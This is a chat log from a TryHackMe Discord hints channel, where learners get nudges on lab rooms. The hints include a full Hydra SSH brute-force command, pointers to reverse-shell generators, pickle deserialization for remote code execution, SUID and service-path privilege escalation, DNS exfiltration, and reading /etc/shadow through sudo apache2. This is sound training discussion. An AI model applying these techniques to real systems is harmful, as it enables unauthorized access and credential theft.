room-hints

[storm venture]

yup, that'd work I believe

you could use https://revshells.com to generate a payload instead of msfvenom, if that one doesn't work 😉

[copper blade]

hey there!

please i need hint on Task 3, Ques 5 on the ReGex room

ive been stuck for hours😫

[empty crest]

Look at the hint in parenthesis from the question below it 😉

[frozen isle]

hi, i'm working on networkservices 2
i have shell with root access, but don't know where to look for the flag? (checked ls -a, and found nothing)

[stuck fractal]

Root flags are usually in /root

[frozen isle]

not able to cd to root directory

[stuck fractal]

You said you have root

[frozen isle]

i think so

because i have followed till the previous step without any errors

[stuck fractal]

!docs verify

[proud scarab]

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/community/discord

From TryHackMe with ❤!

[stuck fractal]

Follow those steps, then you can post images

But if you cannot cd into root (if you're getting permission denied) then you're not root probably.

[frozen isle]

i have a bash file with permissions -rwsr-sr-x

and running it with bash -p

[stuck fractal]

Verify with the bot and post a screenshot.

[stuck fractal]

The owner on the file is wrong

Therefore you don't have a shell as root.

You are not root.

[frozen isle]

thank you, got it

completed the task, Thanks again James 🙂

[copper blade]

Please help.. whats up with the first three dots in the answer format? its confusing!! and please give me a tips on the ques, regex can be intimidating😫

[empty crest]

It's part of regex - this was the hint I gave someone else on the same question Look at the hint in parenthesis from the question below it @copper blade

[copper blade]

Thanks man! I'm a noob😆 sorry, is the three leading period suppose to be part of my provided answer? are they some place holder or something??

[green minnow]

Gave +1 Rep to @empty crest

[empty crest]

No problem, I DM'ed you a sanity check @copper blade

[copper blade]

Thanks man!👍

[empty crest]

Happy hacking man!

[copper blade]

You saved me tons of hours for the tips! Thanks man! finally got it!!

[green minnow]

Gave +1 Rep to @empty crest

[past canopy]

i'm in the eternal blue room and i can't figure out where the 2nd flag is. i'm having a hard time researching where windows stores passwords, kind of difficult to google

i've tried navigating the system and trying to make reasonable guesses, but the task also says the folder may be deleted, so i'm not even sure if what i'm looking for is there currently

[topaz berry]

mkfifo is difficult to understand

is it a pipe or a file?

[brave vale]

Is a file similar to a pipe, read the content of the following link for a better understanding of the command https://linux.die.net/man/3/mkfifo

[true widget]

I am solving inferno and I m stuck.It has so many open ports.I tried enumeraion with port 80.I found a direcotry which is using http authentication.I looked for vhosting but no success.I diiferent wordlists for directory bruteforcing still no sucess.Can anyone give a nudge to get me started??https://tryhackme.com/room/inferno

[brave vale]

If you find the directory that asks for magic words to let you pass...Hydra of Lerna can be your best friend to help you guess them...

[true widget]

alright that means more direcotry bruteforcing right

[brave vale]

That's right

[brave vale]

I mean, if you found a directory with basic HTTP authentication, Hydra of Lerna can help you with that directory, what usernames are often used by default?

[true widget]

@brave vale okkkii.I got it now.I thought you were indicating that there is another directory where we can pass magic words

[terse smelt]

Hi guys. Starting Point > Shield. Inside the walkthrough: "The combination admin :
P@s5w0rd! is successful and we gain administrative access to the site." Is this a common case for WP to have this password?

[storm venture]

as a default password? probably unlikely

as a password set by a user, more likely I guess, permutations of the good 'ol password are more common than most 🤷

[bold lichen]

thanks alot brother

[green minnow]

Gave +1 Rep to @storm venture

[bold lichen]

need a small help with the room vulnversity task 4 Try upload a few file types to the server, what common extension seems to be blocked? i quite dint understand i navigated to the part of the website and i get the option to upload payloads but i am not getting what the question is asking me to do ?

[tight fulcrum]

Which file extension usually web shells have..?

[bold lichen]

huh ......

[bold lichen]

got it thank you

[green minnow]

Gave +1 Rep to @tight fulcrum

[light tundra]

Network Services 2: Enumerating NFS — "request denied by server"when executing this command from /tmp/mount:

[jaunty geyser]

Hello Guys! Please could you help me with one task in linuxmodules room.
https://tryhackme.com/room/linuxmodules

TASK 7. SED. There is the question:
View the sed2 file in the directory. Try putting all alphabetical values together, to get the answer for this question.

Can anyone answer for this question ?

[stuck fractal]

The share isn't called share.

[glad bluff]

Been working on Retro for a bit, I got initial foothold, identified how to do the priv esc and keep encountering an issue. After the first couple of hours I even went and checked a walk-through the recommend way around said issue is not working.

Anyone able to potentially assist?

[terse smelt]

Ok. Guys. So how to know when machines are related one to each other? ex. at the "Starting point": Pathfinder with Shield, etc.
"Using the credentials we obtained in a previous machine; sandra:Password1234! , we can
attempt to enumerate Active Directory."

[worn otter]

most rooms on THM is just a single machine, or multiple machines that are not connected to each other. With the exception of networks such as Wreath or Throwback

and using a writeup isn't bad necessarily- just make notes of what you were missing, and try to learn more about that, so next time you have more knowledge and resources

[terse smelt]

Sorry. Posted to the wrong thread. My bad. Ment to be HTB

[chilly vapor]

Network Services 2 room, exploiting nfs, my bash file has sr-x permissions until I ssh as user cappucino and then it has xr-x. What am I doing wrong?

[worn otter]

screenshot it?

[worn otter]

can you modify it after you transfer it?

[chilly vapor]

no

[worn otter]

is it possible you mounted and transferred it to a different dir?

[chilly vapor]

I don’t think so, the file is there just the permissions are changed

[worn otter]

different timestamps though

sorry, it's been a long day, my brain is kinda fried. I'm not super helpful at the moment. And I don't have my notes in front of me, so I'm kinda guessing.

[chilly vapor]

I got the command to execute. Is this correct?

[worn otter]

do a whoami

[chilly vapor]

root

[worn otter]

success! \o/

[chilly vapor]

I got it. thanks

[worn otter]

you're welcome 🙂 sorry I couldn't help much

[chilly vapor]

It was just enough lol

[worn otter]

just out of curiosity, what was the missing piece?

[chilly vapor]

had to go into /tmp/mount/cappucino and change properties and then ssh in

[worn otter]

i thought you had already done that?

[chilly vapor]

I did it from /downloads and then copied it to cappuccino

[worn otter]

ah

[brave vale]

I was able to progress in the That's The Ticket room, to clarify, ||the firewall on the server sets restrictions on outgoing HTTP requests but being able to exfiltrate data through DNS lookups||, right?

[topaz berry]

anyone online here?

[stuck fractal]

Ask your question directly.

[topaz berry]

so, the insecure deserialization task asked me to use the script to generate a encoded string and put that string in the cookie's value

how does the script work, and how does it cause any vulnerability to allow use to remote execute on it

[stuck fractal]

The script doesn't cause a vulnerability

[topaz berry]

for now, I understand that changing the encoded value of the cookies allow us to exploit the web through decoding process<-deserialization

[stuck fractal]

The script creates a payload that exploits a vulnerability

Well, creates an exploit that delivers a payload to exploit the vulnerability

[topaz berry]

well, all that script does is created an encoded string

[stuck fractal]

Yep. That's your exploit.

[topaz berry]

and i pasted it on the cookies

and suddenly my netcat is in the system

[topaz berry]

so what does the string contain that make it so powerful?

[stuck fractal]

Look at the code, it contains the serialised representation of that object

https://davidhamann.de/2020/04/05/exploiting-python-pickle/

[topaz berry]

thanks, will look into that

[green minnow]

Gave +1 Rep to @stuck fractal

[topaz berry]

much appreciated

[topaz berry]

So by implementing reduce in a class which instances we are going to pickle, we can give the pickling process a callable plus some arguments to run. While intended for reconstructing objects, we can abuse this for getting our own reverse shell code executed.

oh i get it now

[empty roost]

looking for some help on buffer overflow 1 if anyone is around

[shut wolf]

nmap -A -p- -vv scans do take forever dont they

[floral fulcrum]

For Business Purposes, the pivot, going for the slide show in msf, already did the bash shell, couldn't really privesc, tunnel?

just a little nudge, very little, lol

sort of has nothing to pivot from,

[toxic shoal]

on the FurtherNmap box, when you do the ftp-anon script against the box, is it suppose to be able to list the directories?

[worn otter]

I don't recall that box in detail, but if it's scanning for anonymous ftp login, then yes, I would think so

nmap can log in to ftp without credentials, and then list the contents

[toxic shoal]

yeah it would login but then just timeout

[light tundra]

yes they do. Many people have suggested to me RustScan, a utility that does speedy port scans

[worn otter]

there are also ways to speed up nmap

like not doing -A to start

[graceful marsh]

on the Simple CTF practice room the first question is "How many services are running under port 1000?"

is there a way to show more services with nmap?

[worn otter]

did you only scan that single port?

[graceful marsh]

for that question yeah

[worn otter]

I think what it is asking is for ports 0 through 1000

[graceful marsh]

oo

you are correct. thanks!

[worn otter]

you're welcome 🙂

[copper blade]

Hello guys!

I need help please
I'm almost done with the NMAP room and on the practical section, I was told to do an ICMP scan on the host, which I did and got a response that the host is up but on picking the answer as "yes", I got it wrong from the ques......

My ques is, if a host respond to ICMP scan, will NMAP show "host up"?

[vital crown]

Is it asking for "yes" or some version of it, such as "yay" or "yea"? Should say just before where you put the answer. That threw me on some questions

[copper blade]

All I saw was Y/N

[vital crown]

Maybe it only needs a Y and not a Yes unless you put in No and it said that was correct

[copper blade]

Actually, I entered just only Y as it obviously denotes Yes but got it wrong but marked it correctly when I entered N

I was wondering maybe the answer was set with a different IP or perhaps, I still don't understand NMAP response with ICMP scan😩

[stuck fractal]

If you're using the attackbox, the target treats the traffic a little differently

The target sees it as more trusted because of something called a Zoned firewall

[copper blade]

Thanks for the clarification, I used the attackbox

[green minnow]

Gave +1 Rep to @stuck fractal

[copper blade]

Zoned firewall?

Let me research on that:sweat_smile:

[stuck fractal]

tl;dr traffic from different places is treated differently.
The "zones" are the places traffic comes from.

[spice bay]

Hi guys,
I'm a bit stuck on:
OWASP Top 10 tools -> [Severity 9] Components With Known Vulnerabilities - Lab
-I found CSE Bookstore 1.0 - 'quantity' Persistent Cross-site Scripting - exploit on exploit-db
-Am I on the right track or need to look for other ways to execute a shell command?
thanks in advance for the reply 🙂

[spice bay]

nevermind,I finished it

[fallow gulch]

hey can someone give me a hint on OWASP top 10 -> security misconfiguration ?

like what service's default password should I look for?

[stuck fractal]

OWASP is web vulnerabilities.

[worn otter]

the second screenshot you posted has some of the information you need

[cunning abyss]

What thing related to sssh could allow you to login to a machine without knowing the username and pass?

[worn otter]

the key file?

[cunning abyss]

No

Its a question in THM?

[worn otter]

what room?

[cunning abyss]

You wanna check it out?

[worn otter]

it'll help me to be able to see what you're trying to do

which task?

[cunning abyss]

Task 5

Ever since I have been using ssh haven't come across such question

So tricky

[worn otter]

read the bullet points in task 5

[cunning abyss]

Yes I have tried that before

[worn otter]

it's one of the words in the bullets. This is room-hints, so I'm trying to not just give you the answer 🙂

[cunning abyss]

Yes yes I have got it

Thanks bro

[worn otter]

🙂 you're welcome

[worn otter]

I'd need more info/context to be able to help

[stuck fractal]

It's not

But you only get the banner the first time you connect.

Listen to what I just said. Take a moment to understand it.

[green minnow]

Gave +1 Rep to @worn otter

[stuck fractal]

I was forgotten by the bot though

[worn otter]

+rep @stuck fractal

[green minnow]

Gave +1 Rep to @stuck fractal

[stuck fractal]

[worn otter]

James, you're slacking. You've dropped below the next 3 people combined

One more rep and I'll pass Muiri. Then I can retire.

[haughty venture]

Hey guys. Can anyone please point me in the right direction here? Im busy with Linux Fundamentals Part 3 > Task 8. I need to locate the IP address of the user who visited the site. However I cannot access the log as a get permission denied.

https://tryhackme.com/room/linuxfundamentalspart3

[tight fulcrum]

Did you check the other file?

[haughty venture]

Yeah. I ended up using ls -l to view permissions and was able to view the log necessary

Thanks for the help 🙂

[copper blade]

Good you didn't give up.
Kudos man

[unborn canopy]

in the room "Break Out The Cage" i am unable to read the "key" from the music mp3

i can see it, but i can not understand it :p

(ps im not a bot)

[vital crown]

A bot would say that 😆

[white salmon]

can someone help me i am stuck at linux fundamentals part 3 :

Locate the process that is running on the deployed instance (MACHINE_IP). What flag is given?

Whenever i do ps aux, it lists out the processes but i am unable to find the flag

[spare fractal]

the flag is in the file task3, try: nano task3

[white salmon]

no no, i have cleared that question i am talking a question that belongs to Processes 101 section

[stuck fractal]

If you are seeing MACHINE_IP then you have not deployed the machine

[white salmon]

i have deployed it..

[stuck fractal]

No. You might have deployed the attackbox, but you have not deployed the target machine.

[white salmon]

yes i mean i have ran the command sudo openvpn something.ovpn

in my downloads folder

brother can u please say me what are you exactly saying as i am new to tryhackme

[unborn spade]

there is a chatroom for that one

[tight fulcrum]

#852988336296820796

[unborn spade]

but u can also dm me

[stuck fractal]

There are multiple machines involved. You need to click the button in the tasks to start the target machine. You've probably only started the attackbox.

[white salmon]

yeah i got that, you are right i forgot to start the machine, i only started the attackbox

[alpine coral]

hey y'all, I know the django room has write ups but I'm struggling with the first flag because I can't see the site; I added my machine's IP to the allowed_hosts, but whenever I try to access it on firefox it says firefox can't connect

anyone had issues with that? to clarify, I added my own machine (attack box)'s IP to the allowed_hosts and in firefox, I type in the CTF machine's IP (with :8000)

[fresh fox]

Hey, I'm in the 'Basic Pentesting' room, and it hints to use Hydra to crack the 'Jan' user's password (which is apparently super weak). I'm using the rockyou wordlist because fasttrack didn't find it, but Hydra is telling me I have (at most) 980 HOURS to wait for the results. Wondering if I'm missing something obvious. I'm doing this over ssh btw

Specifically:

hydra -l Jan -P /usr/share/wordlists/rockyou.txt -s 22 10.10.225.145 ssh

[pure thistle]

question in the Osquery room am I suppose to see the information from Polylogyx osq-ext-bin extension, in the Kolide Fleet web gui or is that only avail in the cli

[fresh fox]

Had a deeper look, think I've found (much) better wordlists for this, so I'll give 'em a whirl

[pure thistle]

your syntax dont look right

[fresh fox]

Can you explain what is wrong please? The command seems to run fine

[pure thistle]

should look something like hydra -l jan -P /usr/share/rockyou.txt ssh://10.10.225.145

[fresh fox]

It looks to be equivalent, the log outputs this:

attacking ssh://10.10.225.145:22/

[pure thistle]

from hydra's docs Example: hydra -l user -P passlist.txt ssh://192.168.0.1

[pure thistle]

if it works then roll with it It just looked different to me

👍

[fresh fox]

No worries, thanks for checking anyway!

[vital crown]

Yeah, there's a couple of different syntax for the same thing. I've used your way and the other way previously

[stuck fractal]

Just because it says 900 hours doesn't mean it will take anywhere near that. If you're told to use rockyou (hint: you should use rockyou) then use rockyou.

[fresh fox]

Thanks, I took a stab at just leaving it and it eventually worked, patience wins! 😄

[night zephyr]

https://tryhackme.com/room/kenobi
Hi, I need some brains into this ProFTPd things near last question, mounting doesnt show up anything, double checked the steps (copying, mounting) but still can't find the rsa key, thx anyway (ping me when u help)

[stuck fractal]

@night zephyr When you're asking for help, you should provide information like what stage you're at, what you've tried, that sort of thing

[night zephyr]

Task 3, I've tried what the guide say

just cant find the rsa key

the only thing different from the screeenshot is "mount: /mnt/kenobiNFS: bad option; for several filesystems (e.g. nfs, cifs) you might need a /sbin/mount.<type> helper program."

[stuck fractal]

Well there's your problem

Google that error and find how to fix it

[north moat]

Room Linux Modules , Task 7 Last Question . what is exactly mean ? What did she sed?(In double quotes) https://tryhackme.com/room/linuxmodules

[light tundra]

Web Fundementals Task 5 -- ||Mini CTF: There's a web server running on [Attack Machine IP]. Connect to it and get the flags!|| am I supposed to directly connect with just HTTP requests or should I use my previous knowledge (from earlier Complete Beginner courses) to connect to the server first?

I tried sending a curl command to the IP and output the file, but I'm not sure I'm looking at the right thing.

[ripe hedge]

If I remember that one correctly, there's a set of urls to request

[light tundra]

like a path? It says "make a GET request with path /xxx/xxx

[ripe hedge]

using curl, though you`ll need to be connected to the vpn if you aren't using the attackbox

[light tundra]

I am using the attackbox

thank you for answering my questions

[stuck fractal]

It's definitely not the "attack machine ip"

[ripe hedge]

then just startup the target vm by hitting the big green button if you haven`t already done so

[stuck fractal]

You can use CURL or the browser.

Usually both

[ripe hedge]

and yeah it's not the attack machine ip that you need to hit

[light tundra]

looks like it matches with the one up top though?

[ripe hedge]

eh?

[light tundra]

active machine, not attack machine sortry

[ripe hedge]

ah

should be the one you started in the task

[light tundra]

yup

[ripe hedge]

it'll give you an ip address

there's a port given in the task

[light tundra]

yep IO

[ripe hedge]

and a path

[light tundra]

I'm looking at that

[ripe hedge]

there's no SSH or other trickery, it's just a web server

for the first one you can use your browser

[light tundra]

okay

[ripe hedge]

well, the browser in the attackbox I mean

[light tundra]

yep found GET

thank you very much, I'll try to work it out from here and come back if I have any other questions

[ripe hedge]

the rest can be done with curl, or the browser dev tools easily enough 🙂

[light tundra]

thank you!

[light tundra]

thank you 🙂

[green minnow]

Gave +1 Rep to @ripe hedge

[ripe hedge]

I'd try with both to get the practice in

[light tundra]

good idea

[stuck fractal]

Do you have a nice way to make a POST from the devtools?

[ripe hedge]

cURL's syntax can get a bit awkward...here's a cheat sheet https://devhints.io/curl

[ripe hedge]

nice, no

but you can edit and resend a request with firefox, and change the method there

haven't figured out how to do that with Chrome's devtools though

[true widget]

I am solving willow.I have found the public and private key pair.A bit stuck here.Am I supposed to crack the rsa encryption using them?Any hints would be appreciated.https://tryhackme.com/room/willow

[stuck fractal]

Yeah I believe so. Do you have a message to decrypt?

[true widget]

naviagting to port 80 found this.

[stuck fractal]

Ok, so follow your instinct here

[true widget]

I tried to crack it with a few online rsa decypters but no success yet.

wil try harder

[tough bridge]

Something that's driving me crazy, I can't figure out what's going on with this syntax:
https://cdn.discordapp.com/attachments/522158539129618453/854027860481409035/unknown.png

Why is the binpath written that way and not "C:\PrivEsc\reverse.exe\ " I really want to understand what's happening there, and if there is any difference, though both seem to work

[vital crown]

I believe the first \ and last \ are escape characters so the command doesnt the see the " that follows it as the partner to the " that precedes it. This might shed some light. https://newbedev.com/when-creating-a-service-with-sc-exe-how-to-pass-in-context-parameters

[tough bridge]

@vital crown Thank you so much!

[green minnow]

Gave +1 Rep to @vital crown

[tough bridge]

AHHHHHH

I get it!

So that it actually gets written into the path as a string with "string" rather than just raw which has that issue with spaces in windows right??

Like so you don't have that bug where C:\file\file with space will possibily execute C:\file\file.exe?

God that was driving me crazy, I couldn't find anywhere explaining windows command line syntax when it comes to escaping strings

[vital crown]

Yeah, that's my take on it

[tough bridge]

Thank you so much! I don't know why, but it was bothering me so much that I couldn't figure out why it worked

[worn otter]

Room: https://tryhackme.com/room/googledorking
Task: 2 (question 1)
Name the key term of what a "crawler" is supposed to do. Tried ||crawl, visit, scrape||, etc. Hints?

[night zephyr]

robot.txt?

[worn otter]

5 letters

[stuck fractal]

I believe it's actually in the paragraph above

[worn otter]

one would think so. But nothing I've tried works ||search, rank, etc||

Am I just a knucklehead overlooking something obvious? (probably)

[stuck fractal]

It's both a noun and a verb. The verb describes the process of creating the noun.

I realise that's a little abstract

[worn otter]

🤔

not score/s

[stuck fractal]

Right sort of idea, wrong word

[worn otter]

hm. already tried rank/s

[pure thistle]

Stuck in Osquery room Task 9 question 2 only one left to complete the room can anybody tell me the table i need to query for the other agent installed

[worn otter]

I haven't done that room, sorry

[stuck fractal]

Right lines still

It's not very used in the text

The process of crawling allows the search engine to form a(n) .....

[worn otter]

first letter?

[stuck fractal]

i

[worn otter]

🤔 this is gonna slap me in the face when I finally see it

[stuck fractal]

It's also a database term

Used to accelerate searches

[worn otter]

that gave it away

[fierce steppe]

a slap in the face has one item with the same name

[worn otter]

Thank you. I still feel like an idiot, but LESS like an idiot. That one isn't super obvious.

[green minnow]

Gave +1 Rep to @stuck fractal

[stuck fractal]

Yeah I agree. I don't like the way the question is worded

I actually think I tested that room, so that's on me

[worn otter]

I'd say you're fired, but since you work for free.... 🤷‍♂️

[night zephyr]

hey how to give rep

[unkempt bramble]

Room: https://tryhackme.com/room/bufferoverflowprep
Task: running of exploit
Query- I created shellcode using msfvenom but I am getting error when I concatenate the payload in buffer; I getting TypeError: can only concatenate str (not "bytes") to str. When I try to perform casting the payload doesnt work. I am using python3. Any idea whats going wrong

[candid nimbus]

One of these

As an extra clue, the program has already been mentioned in the text early on 😀

[white salmon]

.
Burp Suite, Task 8, Question 8
The current hosted version of Burp Suite does not have the Customer Feedback option, I would "just skip to the next question" as instructed, but I am trying to complete the pentest+ path and thus need 100% on this room. Everything else is done so far, just am unable to answer this question.

What field do we have to modify in order to submit a zero-star review?

[worn otter]

This sounds more like the OWASP Juice Shop room ?

[normal zephyr]

Looking for a hint on the new Mustacchio room, don't want to check the room discord itself as I think there will be spoilers. Found the admin page, this is going to be some kind of XXE vulnerabiltiy, right? I know sod-all about XEE, so am floundering a bit. Hapy to put in the time to learn, but a hint that I'm in the right area will be appreciated, I don't want to waste a load of time learning somethng that isn't the right path

[pure thistle]

need hint for Investigating Windows 3.x question 13 What is the parent PID for the above process process explores shows the wrong answer where should i be looking

[mystic flume]

Correct

[prime wyvern]

Check the saved logs.

[rapid wren]

How well websites work - task 5: "View the website on this task and inject HTML so that a malicious link to http://hacker.com is shown." I dont get any feedback after injecting the code, where do you look for the flag?

[rapid wren]

it should be in the repeater

[rapid wren]

I can do the http injection fine but I cant find the flag anywhere

[worn otter]

after you get the link to display, it should also show you the flag

[rapid wren]

are you supposed to change the button?

[worn otter]

no not the button

[rapid wren]

you see how I changed the input to a hyperlink? is that not what it wants you to do?

[worn otter]

perhaps it's the text of the link that is preventing the flag from getting triggered

it's just asking for that url

[rapid wren]

is it a pop up?

like would adblock block it?

[worn otter]

nope, just a regular link

not opening the page, just displaying a link

[rapid wren]

got it

[past canopy]

in the basicpentestingjt room, for the last question, i wasn't able to figure out how to crack the second password, however i was able to acquire by finding a way to read a certain file that i shouldn't have been able to read (not /etc/shadow, the other one). i'm curious if there's something i didn't think of in attempting to crack the passphrase

[tight fulcrum]

For the last password you need to get into the other user of the machine. You need to get his file, crack the password of it and connect as him to read password file in his directory.

[rapid wren]

after starting a net cat listener, whenever i type anything it ends the listener

this is OWASP top 10 task 26

[marble trout]

guys

has anyone completed syshacw1

i found the web flag
but i did so many scans i found nothing
[
only wp-admin
[
login.php

nikto etc but no results

could anyone help to being able to help me

i need a hint

for user flag

[past canopy]

ohh, i think i skipped a step then. i was able to read the contents of the pass.bak file as the first user by using one of the SUID bins

[tight fulcrum]

The content of pass.bak is the answer 😄

[past canopy]

right lol i know that. i guess i'm not sure what password i was meant to be cracking if not the one in pass.bak

i got the second user's hash out of /etc/shadow, but i was unable to crack it, but i was able to get his password from the pass.bak file

[tight fulcrum]

did you check the hidden directory in his home folder?

[past canopy]

hm i can't remember. i'll take another look later. i was able to finish the room, but i did feel like i had done it wrong haha

[tight fulcrum]

in short: he has a key to login also known as.. id_rsa

[past canopy]

right, got it. that makes sense. i guess i sort of bypassed needing his key lol

[sweet ferry]

i am doing jack of all trades room and have got a shell

muiriland you here?

i got the password file but what to do with that

[light tundra]

Network Services 2: Enumerating NFS — when trying to run "sudo mount -t nfs IP:share /tmp/mount/ -nolock," I get ||"mount: /tmp/mount: unknown filesystem type '-nfs'.||

[stuck fractal]

Screenshot

[light tundra]

nfs-common is installed on my machine

Am I in the wrong directory?

well same happens in /tmmp/mount

[stuck fractal]

The command you're running and the command you posted are different

-nfs vs nfs

[light tundra]

OH.

hahaha

[light tundra]

thank you

[green minnow]

Gave +1 Rep to @stuck fractal

[light tundra]

whaddya know, that worked

[stuck fractal]

my first recommendation, if something isn't working, is to check what you typed.

[light tundra]

i thought i did hahaha

[stuck fractal]

Especially when the error message points you to the exact section

[light tundra]

ty

[open schooner]

Room lfp3, the crontab keyword is not the answer?

[tight fulcrum]

You need to check the users crontab ( crontab -l )

[open schooner]

I only see one job.

[tight fulcrum]

Now you need to find the keyword

[open schooner]

I forgot the @ 😅 thx

[white salmon]

Osquery Task 9 - What is the schema for win_event_log_data?
changed from when I last did

CREATE TABLE win_log_data('time' BIGINT, 'datetime' TEXT, 'source' TEXT, 'provider'

Microsoft-Windows-Sysmon/Operational changed also

[white salmon]

hi guys, i'm still newbie and need your help. I stuck on question for "what the shell" at linux practice box? would you help me with the tutorial? appreciate for your help.

[stuck fractal]

Please ask your question directly

[true widget]

I am solving bookstore and I found ||/console|| directory under wezberug webserver.Managed to bypass the authentication for pin by intercepting it and got access to console.But I cant run code in the interpreter.I m kinda stuck here any help would be apreciated.https://tryhackme.com/room/bookstoreoc

[bold lichen]

so i want to run a list of number on that selected thing like in simple terms a number list attack can anyone tell me how can i room owsap task 18 question 3

please do help me out thanks in advance

[true widget]

under payload select numbers

[white salmon]

Physical Security Intro - Task 6 - Lock picking isn't my thing but both YT vidz don't show the answer for Adams Rite hardware fixtures are susceptible to a bypass where a wire is snaked through the keyway and actuates the locking mechanism behind it, what could prevent this bypass? any direction? Thx

[copper blade]

Please someone help!

I'm faced with a challenge to Port scan all the ports in a network, for almost an hour, no result I'm just stocked without any result from NMAP..

Please any clue on how to fasten the portscan up:weary: :weary:

[hidden hearth]

what is the command you are running?

[tough rapids]

-p- --min-rate=3000
This should help

[copper blade]

-A -p-

[copper blade]

Thanks man, I will give this a try😋

[green minnow]

Gave +1 Rep to @tough rapids

[dapper sentinel]

let me know if u still face issue ||its my alt account||

[copper blade]

You are amazing man..
Took only 210seconds to scan all the ports...

Thanks man!

[green minnow]

Gave +1 Rep to @dapper sentinel

[dapper sentinel]

🙂

glad to hear that

[copper blade]

But why is it taking more than an hour to scan before??

[tight fulcrum]

Because you use -A and -p-

[dapper sentinel]

yeah it takes time to run each and every port

[copper blade]

I still use that again💩

[tight fulcrum]

bad idea

[copper blade]

So the flag you specified reduce the time right?

[copper blade]

Why?🥺

[dapper sentinel]

it fastens the scan afaik

kind yes

[tight fulcrum]

Check what nmap does if you use -A

[copper blade]

Yeah I checked it.
Can you expantiate?

[copper blade]

Thanks man

[dapper sentinel]

crazy ^_^

[tight fulcrum]

With -p- you're scanning all of the 65535 which is fine depending on the task.
But what makes it worse is -A.
Since you enable OS detection, version detection, script scanning and traceroute.
Imagine this on 65535 ports. This adds up pretty quick and that's why you scan is that long

generally speaking.. you don't use -A

[copper blade]

Oh..
Now I understand your point.
Actually I know what both flags will do but since emphasis is being laid on using -p- and -A in the room, I was wondering maybe a ques will be asked based on the scan results later on..

Anyways, thanks man!

[green minnow]

Gave +1 Rep to @tight fulcrum

[ripe hedge]

you'd normally do a fast -p- scan to see what's open, then go more in depths on only the open ports

[true widget]

I am solving bookstore.Registered ana ccount and looged in to application it talks about ||rce or lfi|| but could nt find any parameters for it ?Any help ?https://tryhackme.com/room/safezone

[bold lichen]

got it man thanks alot

[green minnow]

Gave +1 Rep to @true widget

[sick eagle]

Me again: Soz. going in circles on this one.

[white salmon]

stop for a bit and think it through. You need to understand the syntax of the command, there's no point in trying things without understanding what you are doing - even if it works, you will not have learned much. Which room is it ?

you mentioned being tired on another channel. Breaks are good, again learning gets harder when tired

[worn otter]

looks to me like you might be missing a / and a space in that command. Read it very carefully, along with the example command given

precision is super important here (and in most of hacking)

[pallid moss]

If you seacrh the history in this room it looks like you need to break out of the docker instance into the host?

wrong room...

[copper blade]

You have a little error in your last command.. Break the command down into pieces and understand it..
It's not as complex as you thought:slight_smile:

Hello guys....

I noticed whenever I connect to a remote network either by smb, ftp, ssh or mounting with nfs, sometimes the command delays alot. For instance to "ls" in a directory might take up to like 5minutes or more sometimes to respond but I noticed if I use the attackbox with the web based Kali Linux, it works perfectly...

Please someone help, maybe I'm having an error in my settings or something:weary: :weary:

[outer quail]

Any hints for python playground?

[winter grove]

Hi, has anyone had an issues to install kerbrute tool for AD spooky room ?

i followed the instructions but it doesn't work

[frozen isle]

johntheripper room has this question:

What is the cracked value of this password?

i can't understand this question, can someone help

of what password are they mentioning?

[tight fulcrum]

Check the files provided in the task. You have to use john in order to crack this hash

[brave vale]

Blue button (Download Task Files).

[frozen isle]

got it

thanks guys

[mystic flume]

Hi there, to me that would indicate a potential network issue on your side or potentially an issue with the VPN.

!vpnscript

[proud scarab]

TryHackMe

Use our VPN troubleshooting script to diagnose common issues!

https://github.com/tryhackme/openvpn-troubleshooting

From TryHackMe with ❤!

[mystic flume]

Try this first ^^

[copper blade]

Most probably not network issues as I use the same network to access the attackbox and it works perfectly🤷

[copper blade]

Thanks man, will try it out!

[green minnow]

Gave +1 Rep to @mystic flume

[mystic flume]

Hope it helps! @copper blade

[past canopy]

i feel dumb, but in the steelmountain room i can't figure out how to replace the misconfigured file with my payload. i don't seem to be able to move the file into the directory, and i tried doing cat ASCService.exe > C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe but that didn't work either

[tight fulcrum]

Are you sure that this is the correct way of writing a path with spaces?

[past canopy]

i did use quotes, just messed up pasting info here. i think i'm supposed to be using "Write-ServiceBinary" in powershell now that i'm looking at the output of PowerUp.ps1 more closely, but i don't really know what's going on. i did Write-ServiceBinary -Name 'AdvancedSystemCareService9' -Path C:\Users\bill\Desktop\ASCService.exe and then i assume i have to leave powershell to restart the service (and i assume i have to stop the service first because if i try to use the command the room tells me to, windows tells me the service is already running)

but that doesn't seem to do anything when i restart it

[tight fulcrum]

or you use copy ASCService.exe <your path> @past canopy

[past canopy]

thanks @tight fulcrum, i'll keep that in mind. i'm still not seeing anything happen when i restart the service though

[green minnow]

Gave +1 Rep to @tight fulcrum

[past canopy]

maybe my payload is bad

[tight fulcrum]

You can use the payload which is in the screen of the task

Make sure you*re using a listener before running the service

[past canopy]

yeah, there must have been something wrong with the payload i generated. i just got the shell. thanks again

[orchid root]

Hey! Can anyone give me a nudge to priv esc in overpass room1 ??

I have got the crontab file but don't know what to do next

[ripe hedge]

Its running a script, try to intercept/overwrite that

@orchid root

[orchid root]

Umm! Yes I saw that! It is piping the script in bash

[orchid root]

But how can I overwrite it?? It downloding it from overpass.thm

[ripe hedge]

It's also grabbing it from a remote address if memory serves

There are ways to abuse that

.thm isn't a real TLD

[orchid root]

Umm you mean I can edit that buildscipt.sh??

Okay let me see

[ripe hedge]

Probably not locally

[orchid root]

Nah! But it is just passing the downloaded file in bash!
Do I have to do something path manipulation or something like this??

[ripe hedge]

Its downloading a file, but from where, exactly?

If you want more help I'll be glad to help in #room-help

[orchid root]

Overpass.thm/downlaods/src/buildscript.sh

[orchid root]

Ook coming

[stuck fractal]

How does it know what overpass.thm is? Domains are for people, not computers.
Computers need IPs. There's a hint.

[orchid root]

Yes! I completed that room now

[sage geyser]

is it possible for Hydra to take more than 40 minutes in the room machine ?

[stuck fractal]

You're probably doing something wrong

[sage geyser]

I started new one

also no result

[stuck fractal]

16 tries per minute is way too slow.

[sage geyser]

how to increase it?

[stuck fractal]

I haven't done that room

I haven't done the room

[sage geyser]

Just to give you an extra info 🙂 , and thx

[green minnow]

Gave +1 Rep to @stuck fractal

[stuck fractal]

There's no point spoiling the box for no reason

[sage geyser]

I don't mean it, Sorry

[orchid root]

Hi!

[oak mulch]

hello guys, i am doing the room "Linux PrivEsc", my box has some commands that requires no root password. One of which is apache2. Can anyone give me a hint for running this program with sudo to gain root privileges without a shell escape sequence.

[white salmon]

with apache2 as nopasswd you can't get a shell or edit system files

but you can read files like /etc/shadow

[white salmon]

